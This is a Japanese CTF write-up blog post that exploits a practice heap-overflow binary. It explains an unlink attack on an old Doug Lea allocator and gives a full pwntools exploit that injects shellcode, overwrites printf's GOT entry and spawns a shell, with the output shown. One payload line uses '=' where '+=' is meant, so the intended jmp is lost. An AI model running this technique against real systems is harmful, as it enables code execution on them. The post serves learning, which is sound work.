mattun-martの日記

セキュリティとかCTFとか個人的なメモ.早く入門したい.

pwn challenges list easy heap

下調べ

mattun-mart@4ctf:~/Workspace/pwn/easy/heap$ file heap | sed -e "s/,/\n/g"
heap: ELF 32-bit LSB executable
 Intel 80386
 version 1 (SYSV)
 dynamically linked
 interpreter /lib/ld-linux.so.2
 for GNU/Linux 2.6.24
 BuildID[sha1]=1b4e88004c13ca18ef78ac90b298c1e247c1d4e5
 not stripped
mattun-mart@4ctf:~/Workspace/pwn/easy/heap$ checksec.sh --file heap
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      FILE
Partial RELRO   No canary found   NX enabled    Not an ELF file   No RPATH   No RUNPATH   heap

NX有効.

解析

さっそく起動してみる.
20個オブジェクトを割り当てたと出力が出て260バイトのサイズで入力を求められるので271バイト送ってみる.
割り当てた領域を11個目のオブジェクトを開放する際にプログラムが落ちている.

mattun-mart@4ctf:~/Workspace/pwn/easy/heap$ ./heap

Welcome to your first heap overflow...
I am going to allocate 20 objects...
Using Dougle Lee Allocator 2.6.1...
Goodluck!

Exit function pointer is at 804C8AC address.
[ALLOC][loc=8E2D008][size=1246]
[ALLOC][loc=8E2D4F0][size=1121]
[ALLOC][loc=8E2D958][size=947]
[ALLOC][loc=8E2DD10][size=741]
[ALLOC][loc=8E2E000][size=706]
[ALLOC][loc=8E2E2C8][size=819]
[ALLOC][loc=8E2E600][size=673]
[ALLOC][loc=8E2E8A8][size=1004]
[ALLOC][loc=8E2EC98][size=952]
[ALLOC][loc=8E2F058][size=755]
[ALLOC][loc=8E2F350][size=260]
[ALLOC][loc=8E2F458][size=877]
[ALLOC][loc=8E2F7D0][size=1245]
[ALLOC][loc=8E2FCB8][size=1047]
[ALLOC][loc=8E300D8][size=1152]
[ALLOC][loc=8E30560][size=1047]
[ALLOC][loc=8E30980][size=1059]
[ALLOC][loc=8E30DA8][size=906]
[ALLOC][loc=8E31138][size=879]
[ALLOC][loc=8E314B0][size=823]
Write to object [size=260]:
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Copied 271 bytes.
[FREE][address=8E2D008]
[FREE][address=8E2D4F0]
[FREE][address=8E2D958]
[FREE][address=8E2DD10]
[FREE][address=8E2E000]
[FREE][address=8E2E2C8]
[FREE][address=8E2E600]
[FREE][address=8E2E8A8]
[FREE][address=8E2EC98]
[FREE][address=8E2F058]
[FREE][address=8E2F350]
Segmentation fault (コアダンプ)

てことでデバッガで追ってみると,次のような処理をしていた.
1. 乱数により生成されたサイズ分(毎回固定),mallocで領域確保.ただし11個目のサイズは0x104で固定
2. 確保した領域のアドレスとサイズをスタックに保存.
3. ユーザからの入力をサイズ0x1000で受け取り.
4. ユーザから受け取った入力をmemcpy関数で11個目の確保領域にコピー.(ここでヒープオーバーフローが起こせる)
5. 各領域を確保した順にfree関数で解放

heap関連はあまり経験がないので,ここからbataさんの資料等を参考に進めている.
最初の出力でもわかるがここで使われているmalloc関連の関数はDougle Lee Allocator 2.6.1を用いているらしい.
http://gee.cs.oswego.edu/pub/misc/malloc-2.6.1.c
この Dougle Lee Allocator 2.6.1のfree()の際のunlinkは下記のようになっている.
しかし,古き良き時代のものなので,Ful->bk == p, Bul->fd == pの判定が入っておらず簡単にunlink attackができる.

#define unlink(p)                                                   
{                                                                            
  mchunkptr Bul = (p)->bk;                                   
  mchunkptr Ful = (p)->fd;                                      
  Ful->bk = Bul;  Bul->fd = Ful;                              
}                                                                             

ついでにこのプログラム,割当ての際にheap領域が実行可能になるらしい.
NXが有効にもかかわらず,heap領域に限っては自前のシェルコードが実行できる.

gdb-peda$ vmmap
Start      End        Perm	Name
0x08048000 0x0804b000 r-xp	/home/mattun-mart/Workspace/pwn/easy/heap/heap
0x0804b000 0x0804c000 r--p	/home/mattun-mart/Workspace/pwn/easy/heap/heap
0x0804c000 0x0804d000 rw-p	/home/mattun-mart/Workspace/pwn/easy/heap/heap
0x0804d000 0x08051000 rwxp	[heap]
0xf7e05000 0xf7e06000 rw-p	mapped
0xf7e06000 0xf7fb6000 r-xp	/lib/i386-linux-gnu/libc-2.23.so
0xf7fb6000 0xf7fb8000 r--p	/lib/i386-linux-gnu/libc-2.23.so
0xf7fb8000 0xf7fb9000 rw-p	/lib/i386-linux-gnu/libc-2.23.so
0xf7fb9000 0xf7fbc000 rw-p	mapped
0xf7fd4000 0xf7fd5000 rw-p	mapped
0xf7fd5000 0xf7fd8000 r--p	[vvar]
0xf7fd8000 0xf7fd9000 r-xp	[vdso]
0xf7fd9000 0xf7ffc000 r-xp	/lib/i386-linux-gnu/ld-2.23.so
0xf7ffc000 0xf7ffd000 r--p	/lib/i386-linux-gnu/ld-2.23.so
0xf7ffd000 0xf7ffe000 rw-p	/lib/i386-linux-gnu/ld-2.23.so
0xfffdd000 0xffffe000 rw-p	[stack]

Exploit

方針としては,
1. ヒープオーバーフローで入力に12個目の領域のsize,fb,bkを書き換え.またシェルコードを積んでおく.
2. 11個目の領域をfree()で解放するときにunlink attackでGOT領域の関数をシェルコードに向ける.
3. GOT関数が呼び出された際に,シェルコード実行.

図にするとこんな感じ.
f:id:mattun_mart:20180329182847p:plain
うまく12個目のchunkをfreeさせるために,12個目のチャンクのprev_inuseの値を1にするのと,13個目のチャンク(array12_addr + sizeで位置を計算可)のprev_inuseの値を0にするのを忘れずに.
最終的には以下のようなExploitコードになった.

#!/usr/bin/env python
# -*- coding:utf-8 -*-
from pwn import *

conn = process('./heap')
elf = ELF('./heap')
printf_got_addr = elf.got['printf']

heap_addr = int(conn.recvuntil('size=260')[-17:-10],16)
shellcode = asm(shellcraft.sh())
buf_size = 0x104

payload = "\xeb\x10" 				# jmp 0x10 p->bk->fd = p->fdの際に入力内容が一部アドレスで書き換わるのでjmpで避ける.
payload = "A" * (0x10 - len(payload))
payload += shellcode
payload += "A" * (buf_size - len(payload))
payload += p32(0x11)                            # size chunk12 prev_inuse = 1  chunk13 prev_inuse = 0
payload += p32(printf_got_addr - 8)             # fb
payload += p32(heap_addr) 	                # bk
payload += "\n"

conn.send(payload)
conn.recv()
conn.interactive()

結果

mattun-mart@4ctf:~/Workspace/pwn/easy/heap$ python exploit.py 
[+] Starting local process './heap': pid 13042
[*] '/home/mattun-mart/Workspace/pwn/easy/heap/heap'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)
[*] Switching to interactive mode
]
[ALLOC][loc=853F458][size=877]
[ALLOC][loc=853F7D0][size=1245]
[ALLOC][loc=853FCB8][size=1047]
[ALLOC][loc=85400D8][size=1152]
[ALLOC][loc=8540560][size=1047]
[ALLOC][loc=8540980][size=1059]
[ALLOC][loc=8540DA8][size=906]
[ALLOC][loc=8541138][size=879]
[ALLOC][loc=85414B0][size=823]
Write to object [size=260]:
Copied 273 bytes.
[FREE][address=853D008]
[FREE][address=853D4F0]
[FREE][address=853D958]
[FREE][address=853DD10]
[FREE][address=853E000]
[FREE][address=853E2C8]
[FREE][address=853E600]
[FREE][address=853E8A8]
[FREE][address=853EC98]
[FREE][address=853F058]
[FREE][address=853F350]
$ ls
core  exploit.py  heap.id0  heap.id2  heap.til
dump  heap      heap.id1  heap.nam  peda-session-heap.txt

今まで逆アセンブル結果はobjdumpの結果を見ていたが,今回はIDAを使ってみた.
制御フローが可視化されるのがとても良い.
この調子でheapの理解を深めていきたい.